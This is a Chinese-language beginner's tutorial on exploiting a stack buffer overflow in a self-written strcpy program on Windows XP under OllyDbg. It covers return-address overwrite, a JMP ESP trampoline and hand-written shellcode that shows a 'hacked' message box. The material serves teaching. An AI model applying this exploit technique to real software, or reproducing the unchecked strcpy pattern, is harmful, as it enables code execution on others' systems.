測試環境
- 作業系統:WindowsXP
- 選用工具:VC6.0、OllyDbg
因為古舊的系統漏洞比較多,是以本人在VMware Workstation虛拟機上裝了XP系統來測試,VC6.0是寫代碼用的,OllyDbg是測試用的,工具就自己去下載下傳吧
具體測試步驟
一、編寫緩沖區溢出的代碼并執行
- 代碼如下:
#include <stdio.h>
#include <string.h>
char name[] = "ABCDEFGHIJKLMNOPQRST";
int main()
{
char buffer[8];
strcpy(buffer, name);
printf("%s\n", buffer);
getchar();
return 0;
}
- 運作結果如下:
二、擷取可執行檔案
- 首先,在VC裡,使用Win32 Release的方式組建代碼,如下圖,選擇好組建方式,重新編譯即可(如果沒有這個選項,滑鼠放在工具欄上,右鍵,在出現的視窗裡把"組建"勾上就可以了
- 然後在項目目錄下就會出現Release檔案夾,裡面的.exe可執行檔案就是我們要使用OllyDbg來分析的對象
三、使用OllyDbg分析可執行檔案
- 使用OllyDbg開始調試
- 打開OllyDbg,把上一步擷取的.exe檔案直接拖進去,就是用OllyDbg打開了.exe檔案
- 調試常用快捷鍵如下:
· F2:設定斷點,在光标定位的位置按F2鍵即可,再按一次則會删除斷點;
· F3:加載一個可執行程式,進行調試分析,即打開檔案;
· F4:程式執行到光标標明位置暫停;
· F7:單步步入,進入函數實作内,遇到CALL等子程式時回進入其中,進入後首先會停留在子程式的第一條指令上;
· F8:單步步過,每按一次隻想一條反彙編視窗中的指令,越過函數實作,CALL指令不會跟進函數實作;
· F9:直接運作程式,遇到斷點處,程式暫停;
· Ctrl+F2:重新運作到程式起始處,用于重新調試程式;
· Ctrl+F9:執行到函數傳回處,用于跳出函數實作;
· Alt+F9:執行到使用者代碼處,用于快捷跳出系統函數;
· Ctrl+G:輸入十六進制位址,在反彙編或資料視窗中快速定位到該位址處;
(注意:此處由于筆記本電腦的F1-F12都具有特定的功能,考慮到其優先級問題,在使用快捷鍵時要同時按住fn鍵,即使用f2時,應同時按下fn+f2,其他類似)
- 判定main函數的位址
-
使用快捷鍵f8單步運作,直到彈出運作視窗,此處即為main函數的位置,如下圖,00401694就是main函數的位址,在此處按快捷鍵f2下一個斷點
【分析:main函數的語句是call xxxx.00401005,說明會跳到另外的位址執行,正常的程式在執行完main函數之後,會跳回到main函數的下一個位址即00401699位址來繼續往後執行】
- 進入main函數,分析call語句執行前後棧空間的變化
- 快捷鍵ctrl+f2重新調試程式,f9直接運作程式,遇到斷點程式暫停,此時程式暫停在上一步下的斷點處,即main函數調用處,f7單步步入,進入main函數内部
- call語句執行時會先将call語句的下一條語句所在位址00401699壓入棧,存儲在棧空間0012FF84處;
- 然後再jmp到call語句所在的00401005位址處。如下圖:
- 分析溢出的程式對棧空間的影響
- 使用strcpy語句将name中的值複制到buffer[]裡面之後,發現資料從位址0012FF78開始存儲,buffer花粉的八個位元組存儲完畢之後,繼續往相鄰的空間進行覆寫,直到name中的内容全部存放完畢;如下圖:
- 發現原本存放傳回位址00401699的棧空間0012FF84被溢出的資料所覆寫,裡面存放的是”MNOP”的Ascll碼值504F4E4D。
- 繼續f8執行
- 一直f8到main函數結束并傳回,發現一片空白,繼續f8單步運作,報錯,而此處顯示的記憶體位址與程式執行時報錯顯示的位址均為504F4E4D,即上一步存放在棧空間0012FF84處的”MNOP”的Ascll碼值,這說明作業系統誤把溢出在此處的資料當作傳回位址進行了傳回。如下圖:
- 緩沖區溢出漏洞總結
- 溢出原因是因為輸入了過長的字元,本身又沒有有限的驗證機制,于是導緻過長字元将傳回位址給覆寫掉,當函數需要傳回時,由于位址是無效的,是以導緻程式出錯。
四、編寫shellcode進行攻擊
攻擊思路:如果給一個有效的位址覆寫原有傳回位址,讓函數傳回時跳到攻擊者設計好的代碼處,執行攻擊者設定好的程式,就是構造出一個有效位址,該位址處指令可以跳轉去執行讓計算機執行的代碼(shellcode),就可以進行攻擊。
- 精準定位傳回位址的位置
- 根據程式運作的錯誤提示,由于準備的是一長串不同的字元,那麼查詢ascll碼表可知錯誤資訊中的504f4e4d是”MNOP”的ascll值,是以可以定位
- 記錄:char name[] = “ABCDEFGHIJKLXXXX”,XXXX處就是傳回位址
- 尋找一個合适的位址,用于覆寫原傳回位址
- 當main執行完畢時,ESP寄存器内容會自動變成傳回位址的下一個位置,并且這種變化不受任何程式影響;
- 将XXXX編寫成JMP ESP,利用ESP這個跳闆進行跳轉,轉到想讓計算機執行的shellcode所在位址處執行;
- 利用這一特性,可以将shellcode放到ESP指向位址處,即在傳回位址處使其轉到JMP ESP語句,此時的ESP自動指向棧空間的下一個位置,執行完JMP ESP之後,程式即跳轉到ESP所儲存的位址中去執行;
- 如果事先将shellcode入棧,那麼跳到棧空間處執行時,執行的就是攻擊者編寫好的shellcode,即能完成攻擊。
- 編寫shellcode到對應的緩沖區中
- 查閱JMP ESP的機器碼為FFE4,編寫程式在動态連結庫中查找JMP ESP的有效位址;查找代碼如下:
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
BYTE *ptr;
int position;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary("user32.dll");
if(!handle) {
printf("load dll error!");
exit(0);
}
ptr = (BYTE*) handle;
for(position = 0; !done_flag; position++) {
try {
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) {
int address = (int)ptr + position;
printf("CODE found at 0x%x\n", address);
}
}
catch(...) {
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
return 0;
}
- 查找結果如下圖:
- 明确攻擊方式:這裡隻是簡單攻擊,就打算彈出一個MessageBox對話框,之後退出程式
- 編寫程式在動态連結庫中查找MessageBox和ExitProcess函數的調用位址;前者是用于彈出對話框,後者是用于退出程式,代碼如下:
// 查找MessageBox
#include <Windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("user32");
//get user32.dll Address
printf("user32 = 0x%x\n", LibHandle);
ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
//get MessageBoxA Address
printf("MessageBoxA = 0x%x\n", ProcAdd);
getchar();
return 0;
}
// 查找ExitProcess
#include <Windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("kernel32");
//get kernel32.dll Address
printf("kernel32 = 0x%x\n", LibHandle);
ProcAdd = (MYPROC)GetProcAddress(LibHandle, "ExitProcess");
//get ExitProcess Address
printf("ExitProcess = 0x%x\n", ProcAdd);
getchar();
return 0;
}
- 查找結果如下
-
記錄查找到的有效位址,随便一個都可以用,本人在這裡選取如下位址
jmp esp : 0x77e1f2c8 MessageBox : 0x77d507ea ExitProcess : 0x7c81cafa
- 編寫shellcode,代碼如下:
char name[] = "\x41\x42\x43\x44\x45\x46\x47\x48"//填充到name[0]-[7] "ABCDEFGH"
//( x41是'A'的Ascll值的16進制表示,後面類似 )
"\x49\x4A\x4B\x4C" //填充到EBP "IJKM"
//就是之前找到的jmp esp的位址77e1f2c8
"\xC8\xF2\xE1\x77" //被覆寫到Return Adderss顯示的位置
//從這裡開始是shellcode
"\x83\xEC\x50" //sub esp,0x50 預留保護空間
"\x33\xDB" //xor ebx,ebx 相當于把ebx清零
"\x53" //push ebx
//push i n g 空格
"\x68\x69\x6E\x67\x20"
//push W a r n
"\x68\x57\x61\x72\x6E" //push "Warning"
"\x8B\xC4" //mov eax,esp
"\x53" //push ebx
"\x68\x21\x21\x20\x20"
"\x68\x20\x75\x70\x21"
"\x68\x47\x69\x76\x65" //push "Give up!!! "
"\x68\x21\x21\x21\x20"
"\x68\x63\x6B\x65\x64"
"\x68\x6E\x20\x68\x61" //\x68是push
"\x68\x20\x62\x65\x65"
"\x68\x68\x61\x76\x65"
"\x68\x59\x6F\x75\x20" //push "You have been hacked!!! "
//"\x68\x6F\x21\x20\x20"
//"\x68\x48\x65\x6C\x6C" //push "Hello! You have been hacked!"
"\x8B\xCC" //mov ecx,esp
"\x53" //push ebx
"\x50" //push eax
"\x51" //push ecx
"\x53" //push ebx
//就是之前找到的messagebox的位址77d507ea
"\xB8\xEA\x07\xD5\x77" //mov eax,0x77D507EA
"\xFF\xD0" //call eax 調用MessageBoxA顯示對話框
"\x53" //push ebx
//就是之前找到的editprocess的位址7c81cafa
"\xB8\xFA\xCA\x81\x7C" //mov eax,0x7C81CAFA
"\xFF\xD0"; //call eax 調用ExitProcess退出程式
- 使用Ollydbg分析加入了shellcode的程式
- 代碼如下:
#include <Windows.h>
#include <stdio.h>
#include <string.h>
// 這裡加入上面寫的shellcode!!!!!!!!
int main()
{
char buffer[8];
LoadLibrary("user32.dll");
strcpy(buffer, name);
printf("%s\n", buffer);
getchar();
return 0;
}
- 同樣按照上面的步驟擷取以Release組建方式擷取的.exe可執行檔案
-
使用OllyDbg打開該檔案,同樣的步驟:
f8找到main函數->f2下斷點->ctrl+f2重新調試->f9執行到斷點處->f7步入main函數,一直運作到name中的資料入棧,如下圖:
- 此時可看到在原本存儲傳回位址的棧空間0012FF84處存儲的是預設好的JMP ESP指令的有效位址0x77E1F2C8
- 繼續f8運作,程式進行傳回跳轉之後(即跳出main函數之後)跳轉到了77E1F2C8位址處,此處有一個jmp esp語句,而此時的ESP指向的位址是棧空間位址0012FF88;如下圖:
- 執行完jmp esp指令後,就會跳轉到位址0012FF88繼續執行,而此處均為之前入棧的shellcode,那麼就會順序執行攻擊者所編寫的指令;如下圖:
- 其中,将參數傳入棧後,按照剛剛查找到的位址調用MessageBox函數顯示對話框和調用ExitProcess函數退出程式。如下圖:
- 最終程式的運作結果是:顯示預設好的對話框,點選确定之後退出程式。如下圖: 至此,攻擊分析結束。
本人尚為初學者,歡迎交流。